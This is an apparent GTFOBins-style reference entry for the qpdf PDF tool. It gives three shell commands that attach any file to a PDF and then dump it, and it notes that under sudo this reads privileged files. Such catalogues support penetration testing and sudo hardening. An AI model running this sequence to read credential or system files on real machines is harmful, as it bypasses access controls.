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10 lines
763 B
Markdown
10 lines
763 B
Markdown
---
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description: QPDF is both a software library and a free command-line program that can convert one PDF file to another equivalent PDF file. It is capable of performing transformations such as linearization, encryption, and decryption of PDF files.
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functions:
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file-read:
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- description: `qpdf` can be used to read any arbitrary file accessible to the running user, by attaching the target file to a valid PDF file, and then accessing that attachment. If the user is allowed to run `qpdf` as an elevated user (e.g with `sudo`), privileged files can be read.
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code: |
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FILE_TO_READ="/path/to/file"
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qpdf --qdf --add-attachment $FILE_TO_READ --key=anykey -- valid.pdf output.pdf
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qpdf --show-attachment=anykey output.pdf
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--- |